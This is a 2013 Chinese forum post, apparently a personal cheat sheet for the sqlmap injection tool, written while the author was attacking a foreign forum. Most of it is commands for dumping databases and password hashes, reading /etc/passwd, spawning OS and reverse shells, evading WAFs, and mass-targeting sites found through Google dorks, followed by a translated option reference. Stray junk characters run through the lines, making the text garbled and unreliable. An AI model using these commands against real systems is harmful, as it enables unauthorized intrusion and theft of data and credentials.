找回密码
 立即注册
查看: 3416|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
. k" y$ U; r- k5 E4 W* T: Rsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称, ]* E0 q9 L! M
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名: E( a) }; N, i  |  G' j
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段! p* q2 ]) I9 H; `& ?6 \
$ p, x' J. T3 x& W! I& G& n
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v1 x/ s; r; L) Z; k/ J7 J+ ?2 L! W
0 #获取字段内容
, V# \- }+ C& e3 q7 g% p' T 2 ]" c& K- d7 k+ z) T! j4 H3 j
******************信息获取******************
7 [) M+ k/ k6 ?6 msqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
4 X. T4 Q+ @3 [) A1 d$ `1 psqlmap -u “http://url/news?id=1″ –users #列数据库用户
1 _/ V8 ]4 [8 O4 l' x' |sqlmap -u “http://url/news?id=1″ –dbs#列数据库
3 ~% u" @7 j9 T5 U  E. Fsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
/ y' L8 Q7 c8 q5 Y/ ]% ssqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
8 s, P$ F6 O& s! R7 t" s9 zsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
% a) a0 V' U5 A  _) R–start 1 –stop 20 #列出指定字段,列出20 条$ r. C" _* M2 v" A/ |. f: f$ S
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
2 @6 A+ f0 U3 O. X  R8 Gsqlmap -u “http://url/news?id=1″ –privileges #查看权限
" }  G7 [+ R! G/ csqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
$ V$ y/ e: _( g4 b/ {+ ~5 k& @sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)9 X- K7 s) R# \$ }- g
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表9 ~9 f6 y# P7 I9 Q. I# c' H
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
- u- z" t% N1 u% S6 E( i; G) B% csqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
% s! Y# p1 H$ I' X  Qsqlmap -u “http://url/news?id=1″-b #获取banner信息
* x$ g* p: R3 |, ~7 l, i; K, dsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
4 D7 b+ M( m. rsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
0 {) ^* o" z2 J7 lsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
' [4 S' D! k) z' @" C0 xsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
/ X7 i$ ?! n) I, u+ n7 esqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令* @1 s; K4 P+ X/ Z; w/ w7 b* ]8 {
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
# p( U' O! O1 `# q% xsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令  G4 D6 e2 M; j; R
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell9 X. |' ~! ~5 o* B
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
  m8 ]+ H, W0 ~3 O; P: W5 |sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度* Y& s* n( \' K% ]
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度8 Z6 m( W- |, x" K9 G
***********高级用法*************
1 V. p. _9 j7 K2 A-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
0 B3 ?5 [7 o) f% u% U& msqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
1 L& X5 e8 ^2 l  ?1 ?2 S1 s–technique   测试指定注入类型\使用的技术0 P/ `0 ~9 X8 g7 V- P. W
不加参数默认测试所有注入技术' ~8 G5 M( |" ]; O1 x% i4 U, n
•     B: 基于布尔的SQL 盲注
+ C" s! S& r" e# p; `/ l, @•     E: 基于显错sql 注入, k$ i# {) M1 D  U
•     U: 基于UNION 注入
: q& W! t. m( Z7 L" n  S# u•     S: 叠层sql 注入
+ h# k5 b  {( f- S' ]•     T: 基于时间盲注
. y! y: K" r( i–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()3 M: x" s: o0 K  a5 m+ g
–tamper 插件所在目录
# @4 n! I2 H3 z/ P: V0 S4 L\sqlmap-dev\tamper/ N6 h- h' M, A3 A0 _" b
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能( i; z. D. f/ C5 c  q/ z) F
level 执行测试等级 攻击实例:+ y9 d( g6 a1 H( k* E2 I" b: Z& Z2 [
Sqlmap -u “http://url/news?id=1&Submit=Submit”
  P5 x) y, y6 C! T& ~( X( h–cookie=”PHPSESSID=41aa833e6d0d5 m1 ^% ?1 a2 u& A
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
% s" v" o( r, \4 u( I' @$ q–password, {3 d. }- @: w) d# Q
参考文档:http://sqlmap.sourceforge.net/doc/README.html+ ?- F0 R; ]! c' l+ n/ z/ G# O
***********安装最新版本*************
9 G3 ^9 D) }) G8 B$ N$ O5 A; _- Jubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
6 K7 b# p; D( T, msudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
1 B& n( K# s6 h安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件8 K5 r- \9 F+ V& z3 F
sudo vim /home/当前用户/.bashrc
: r9 p. m# N2 Q* \2 _#任意位置加上:
3 x2 D$ a& J& l  r* [alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效" \2 r: h5 r2 B3 W" n
如果想对所有用户有效 可设置全局 编辑下面的文件6 B. U0 x0 t' b( L# |( ?4 L6 |0 Z7 _
vim /etc/profile
( v4 Q7 Y- V- d8 f. f  o! m/ E同样加上:; ?: x0 E" h( Y- _: n1 q
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
2 o# L4 e3 n- u" K% \: L( k7 ^******************windows 7 (x64) sqlmap install (SVN)************
9 C) `4 c3 Q5 s' U: M& Jhttp://www.python.org/getit/ 安装python1 Z4 ^  }+ S) A9 G1 j8 ?
http://www.sliksvn.com/en/download 安装windows svn client
# z5 g% D" h' f$ msvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 z8 k& `, x! t  a9 f. C
安装sqlmap
! J! J  T+ {  }) n) n/ K*修改环境变量+ e8 N0 T2 k9 o4 A5 E9 D, L' z
–version             显示程序的版本号并退出; H  J/ h; l! }% G8 Q6 [9 l7 u
-h, –help            显示此帮助消息并退出
. `$ f4 l1 Y2 V: y-v VERBOSE            详细级别:0-6(默认为1)
- J2 X! Z: j# D9 \4 fTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
  i, c( D2 k8 o-d DIRECT           直接连接到数据库。1 E/ J! ?9 o) l
-u URL, –url=URL   目标URL。+ y3 k& ]" y' i$ C* T0 M  q
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
. _' I4 P8 C# a9 h-r REQUESTFILE      从一个文件中载入HTTP 请求。
/ B/ Y+ I# H" I3 N/ D5 B3 G-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
; K% l7 X$ ]# a) c-c CONFIGFILE       从INI 配置文件中加载选项。. U9 @  i' B9 i3 M0 c( K
Request(请求)::+ S6 b2 D1 S- u6 U
这些选项可以用来指定如何连接到目标URL。
5 d+ g+ ?9 b; G& K' H–data=DATA         通过POST 发送的数据字符串
9 o( t2 K1 g3 V; Y2 v, `3 f–cookie=COOKIE     HTTP Cookie 头6 O7 e2 K; v% b' b: Y5 ?! x1 d% {( Y
–cookie-urlencode  URL 编码生成的cookie 注入
$ ~" C- P8 @0 p8 _+ T$ m5 U" f–drop-set-cookie   忽略响应的Set –Cookie 头信息* N6 x. Z* E/ N/ G5 ^

; i, Y# C4 M: T9 w–user-agent=AGENT  指定  HTTP User –Agent 头' C4 |" E/ P: _( O7 @
–random-agent      使用随机选定的HTTP User –Agent 头
7 ?) P' n0 j' f( W$ O8 B–referer=REFERER   指定  HTTP Referer 头; S+ ~0 H. Q7 h+ M0 R) @2 `% F% C
–headers=HEADERS   换行分开,加入其他的HTTP 头' E5 z$ r) E$ ]: t/ M/ V+ I7 Q- M
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
8 ~/ U0 X* E* L5 L–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)3 _5 J+ D. d: \7 E1 L! D
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)3 {# e" [! g  o- L  Q+ \7 ?: I# N. Q
–proxy=PROXY       使用HTTP 代理连接到目标URL
: y5 `4 j, V* ]# `–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)) _0 l0 S5 l+ T& b* S
–ignore-proxy      忽略系统默认的HTTP 代理
' p/ |! D5 L% j3 \* V–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒4 e; A' ?! z" g, I( m! n
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)4 O/ m( X, K# p& Q! s- y
–retries=RETRIES   连接超时后重新连接的时间(默认3)
9 o* @) n% g  }. Y& q: C# Z–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
1 b- m* G7 c& p9 }$ A/ N–safe-url=SAFURL   在测试过程中经常访问的url 地址; e$ I: e7 g$ ^8 ^. W+ k$ t
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL6 g& R$ [8 D4 b! L9 O
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
1 _$ i/ `6 L5 o) {3 u, T-o                  开启所有优化开关( G5 u1 F. |* x) r
–predict-output    预测常见的查询输出
* t+ }, Q  j  P9 `5 C* _–keep-alive        使用持久的HTTP(S)连接7 W9 X! T# k8 a' e7 ?
–null-connection   从没有实际的HTTP 响应体中检索页面长度4 o0 I6 p' F( G% {8 A( s
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)7 C. l! k' w$ h# b1 @
Injection(注入):
: R( `' c, ^& @$ W这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。* ~8 J/ |( e- V6 n
-p TESTPARAMETER    可测试的参数(S)" X" X8 `) N% V5 h) J: A$ m; v
–dbms=DBMS         强制后端的DBMS 为此值" h! ?- D& s: l7 D4 g/ U2 F
–os=OS             强制后端的DBMS 操作系统为这个值. X6 k6 x# h) }# l- e
–prefix=PREFIX     注入payload 字符串前缀' b3 t. A5 S+ h# M
–suffix=SUFFIX     注入 payload 字符串后缀2 o" l: x6 e" x
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据9 F) W6 e& `- ^
Detection(检测):
5 X1 _: Q' Z. D$ N9 H3 J+ C这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。; E5 B. c; y5 a' x
–level=LEVEL       执行测试的等级(1-5,默认为1)
9 K" I9 w4 T3 j- S! K+ f+ J–risk=RISK         执行测试的风险(0-3,默认为1)5 g; `" {! O, {1 v3 L" d. C
–string=STRING     查询时有效时在页面匹配字符串
, \6 ]$ r9 O- i–regexp=REGEXP     查询时有效时在页面匹配正则表达式
- @* ^+ J% ]3 x/ r) F; B$ s–text-only         仅基于在文本内容比较网页
& u- W7 `( \& N% V2 Y* rTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
  a; H; ~6 x8 z# Z& j2 p–technique=TECH    SQL 注入技术测试(默认BEUST)6 C3 [: I/ ], B& P3 {, E4 J
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)9 G* w! L  k/ {( R
–union-cols=UCOLS  定列范围用于测试UNION 查询注入6 z( w; x5 r4 Z8 a+ [
–union-char=UCHAR  用于暴力猜解列数的字符
9 p( u; I( Z/ \. u# B3 IFingerprint(指纹):
+ v% D) N! Y6 V1 I# f* F-f, –fingerprint     执行检查广泛的DBMS 版本指纹9 V8 G6 Z2 Z. g6 {1 x
Enumeration(枚举):' @3 ]! I, x. r

6 R* f8 v0 d# \$ u7 M) [: N' ~这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
! {& N1 O6 J) y; }- \/ J-b, –banner        检索数据库管理系统的标识
  `1 D. s5 Y/ \2 m* O; V–current-user      检索数据库管理系统当前用户3 o# Y  p9 v1 e8 l
–current-db        检索数据库管理系统当前数据库
) a! B) `* K) \  a6 N  Y–is-dba            检测DBMS 当前用户是否DBA
7 l# J4 Q! ]9 R) z, ?–users             枚举数据库管理系统用户
  e8 R  s" P5 Z+ E" X$ ]! P" }–passwords         枚举数据库管理系统用户密码哈希2 z0 x) R6 e, s* q5 T: ^' h
–privileges        枚举数据库管理系统用户的权限
: v2 |! p+ @6 |( o–roles             枚举数据库管理系统用户的角色
# b% R0 _+ D4 R( }) H) [–dbs               枚举数据库管理系统数据库5 q& r) V& z5 c! C) C% c
–tables            枚举的DBMS 数据库中的表
2 s' N( l; R  `/ {  U, n4 D–columns           枚举DBMS 数据库表列
2 I) E. N  t. R/ k7 F  G–dump              转储数据库管理系统的数据库中的表项5 P: D! L# V$ a' J
–dump-all          转储所有的DBMS 数据库表中的条目) _  ~# J4 ~- x
–search            搜索列(S),表(S)和/或数据库名称(S)% o" g  H6 ]. Q( n
-D DB               要进行枚举的数据库名
+ L0 y. D4 |5 `, ?+ w3 R-T TBL              要进行枚举的数据库表5 X. V# N" X0 d' ]" m/ P
-C COL              要进行枚举的数据库列* ?5 ~6 h; J7 J
-U USER             用来进行枚举的数据库用户& x2 J( D# z& R  t
–exclude-sysdbs    枚举表时排除系统数据库% |+ s) h+ r5 S) o  F' N. u7 f
–start=LIMITSTART  第一个查询输出进入检索
8 O7 ]0 w0 w1 r4 q–stop=LIMITSTOP    最后查询的输出进入检索
  L2 e2 a) F; h8 [, t2 s3 c–first=FIRSTCHAR   第一个查询输出字的字符检索
' r- A6 ]$ _) \( Q–last=LASTCHAR     最后查询的输出字字符检索9 \4 |/ Q7 }! V6 q
–sql-query=QUERY   要执行的SQL 语句& Z: ]3 O9 n. A. b" B
–sql-shell         提示交互式SQL 的shell8 \- B4 w. o. Y; \
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。  p# a9 V9 ~) V
–common-tables     检查存在共同表
  r, a' r' {. R! A1 S1 F8 m- S–common-columns    检查存在共同列
* S  T) V7 M+ T- r' S" d* rUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
) j# |9 Y4 p1 _8 `3 q7 a0 v9 W–udf-inject        注入用户自定义函数4 [) _: B9 a, ?% m- @. e- c
–shared-lib=SHLIB  共享库的本地路径
: O9 W* i0 n  f9 j- J7 YFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。, v7 i) d8 ?: Y/ ~/ I. g
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
8 L, Y1 a) ^2 z: [–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件- n) T; X8 _7 H. b1 z. n
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径( ~* A1 b$ y: F
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。% p; y  P2 i3 q& G9 ^0 H' I2 S
–os-cmd=OSCMD      执行操作系统命令, k! m# [' A' d
–os-shell          交互式的操作系统的shell
4 f  L- O, P- A1 t' z' e" {4 L–os-pwn            获取一个OOB shell,meterpreter 或VNC
/ S* P2 }! X1 {$ T–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC  o* i. a! j9 h8 H7 d  t
–os-bof            存储过程缓冲区溢出利用
+ M) T5 }# u7 G4 j3 j–priv-esc          数据库进程用户权限提升/ F9 ^, V8 q! T6 n% [. w) G' ~
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径" M$ \4 S* {& j" w5 S% `
–tmp-path=TMPPATH  远程临时文件目录的绝对路径) e: O2 M8 @' D9 l( }, z

3 A  y3 B" r' p7 Q9 f! CWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
' h% P/ ~* ^. A; x; D1 G  v–reg-read          读一个Windows 注册表项值
( Z$ B3 X2 }& @2 l' q' K–reg-add           写一个Windows 注册表项值数据) y3 @- M& K% q! k! d
–reg-del           删除Windows 注册表键值4 u0 \. Z, S6 m; t% \8 @
–reg-key=REGKEY    Windows 注册表键
1 t. d% K# h# @1 [/ L* k, \–reg-value=REGVAL  Windows 注册表项值
# u0 V' `, S  }* c–reg-data=REGDATA  Windows 注册表键值数据
8 R( p2 D# l8 C* {! ~) d* y–reg-type=REGTYPE  Windows 注册表项值类型! `( u! y9 X  M9 ^# ?
General(一般): 这些选项可以用来设置一些一般的工作参数。
' `. [% M5 Q  d  l-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中0 B% z( g0 s" |
-s SESSIONFILE      保存和恢复检索会话文件的所有数据7 N  p2 S6 u' }$ R$ M4 R0 Y/ t- ]
–flush-session     刷新当前目标的会话文件
1 y% q- ?, s. S& p! R+ y3 i–fresh-queries     忽略在会话文件中存储的查询结果! m( z5 {* X6 L( n* y6 {
–eta               显示每个输出的预计到达时间
$ z+ }4 Y5 M  F4 k, c, W–update            更新SqlMap+ @5 P, Z! L+ G2 U2 Z3 r) u1 O
–save              file 保存选项到INI 配置文件, }) S* T( k: Y
–batch             从不询问用户输入,使用所有默认配置。! J. D. x/ i+ w; l- N% |0 {
Miscellaneous(杂项):9 g* O# F& ?' U' S: q. L' L
–beep              发现SQL 注入时提醒6 b! b2 G" [+ o: _( o+ F+ _: n+ _/ x
–check-payload     IDS 对注入payloads 的检测测试
7 b1 I' f; E% @- e–cleanup           SqlMap 具体的UDF 和表清理DBMS
" p" u5 E, h( h–forms             对目标URL 的解析和测试形式
4 i: _% @0 w/ u0 l3 J–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
9 q; P0 s' Q, N+ \–page-rank         Google dork 结果显示网页排名(PR)
& h; g/ x6 \8 ~+ z–parse-errors      从响应页面解析数据库管理系统的错误消息
* M* _7 M* }, Y# Q, y, s–replicate         复制转储的数据到一个sqlite3 数据库! N( |2 f8 o* o3 w9 E! u. x
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
9 R) i5 o( F) r# R–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表